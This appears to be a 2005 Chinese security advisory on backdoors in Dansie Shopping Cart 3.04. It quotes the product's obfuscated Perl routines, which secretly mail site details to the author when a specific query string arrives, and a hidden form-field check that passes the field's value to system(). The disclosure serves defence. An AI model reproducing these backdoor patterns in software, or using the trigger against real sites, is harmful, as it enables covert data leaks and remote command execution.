Dansie Shopping Cart软件存在后门


添加时间:
2005-09-25

系统编号:
WAVDB-00679

影响版本:
Dansie Shopping Cart 3.04

程序介绍:

Dansie Shopping Cart是dansie.net开发的一个商业版的网上商店的CGI。

漏洞分析:

在某些情况下,这个CGI会给软件作者'tech@dansie.net'的信箱发送邮件,并且存在一个后门,允许远程用户以CGI运行的权限执行任意命令。
这个CGI利用Caesar密码机制加密了作者的email地址,函数'there2'用来解密,函数'there3'用来发送一封邮件给'tech@dansie.net',内容包含网站的网址以及ip,主机名。
------ 
sub there2 
 { 
     $_ = "$_[0]"; 
     tr/a-z0-9/gvibn9wprud2lmx8z3fa4eq15oy06sjc7kth/; 
     tr/_/-/; 
     tr/\@/\./; 
     return $_; 
 } 
 ------- 
 sub there3 
 { 
     if (($ENV{'OS'} !~ /Windows_NT/i) && ($mailprog) && (-e "$mailprog")) 
     { 
         $a = &there2('8v59')."\@".&there2('kte3cv').".".&there2('ev8'); 
         $b = &there2('8v59_3jhhzi8'); 
         pop(@there2); 
         pop(@there2); 
         $c = &there2("@there2"); 
         open (TECH, "|$mailprog $a"); 
         print TECH "To: $a\n"; 
         print TECH "From: $a\n"; 
         print TECH "Subject: $b\n\n"; 
         print TECH "$path3\n"; 
         print TECH "$ENV{'HTTP_HOST'} $ENV{'SERVER_NAME'}\n"; 
         print TECH "$c\n"; 
         print TECH "$e $there\n" if ($e); 
         close (TECH); 
     } 
 } 
 ------- 
 当将加密后的密文用'there2'解密后,就得到了这样的结果:
    8v59 == tech 
    kte3cv == dansie 
    ev8 == net 
    8v59_3jhhzi8 == tech-support 
    $a == tech@dansie.net 
    $b == Subject: tech-support 
 当远程用户执行"/cart/cart.cgi?usmbu7777"请求时,CGI就会调用there3将邮件秘密发送给CGI作者。
在这个cgi中还存在另外一个隐藏的后门,当用户提交的表单中包含一个特殊变量时,CGI将执行这个变量中包含的命令。
 ---------- 
 if ( ( ( $FORM{'?????????'}) && ($ENV{'HTTP_HOST'} !~ /($d)/) ) || ( ($FORM{'?????????'} ) && (!$d) ) ) 
 { 
     if ( $ENV{'OS'} ) 
     { 
         system("$FORM{'?????????'}"); 
     } 
     else 
     { 
         open(ELIF,"|$FORM{'?????????'}"); 
     } 
     exit; 
    } 
--------- 
 "?????????"是一个9位长的伪随即字符串,包含字母和数字。用户只要输入这个变量,就可以以CGI的身份执行任何系统命令。

信息来源:
<* 来源:Joe (joe@blarg.net) *>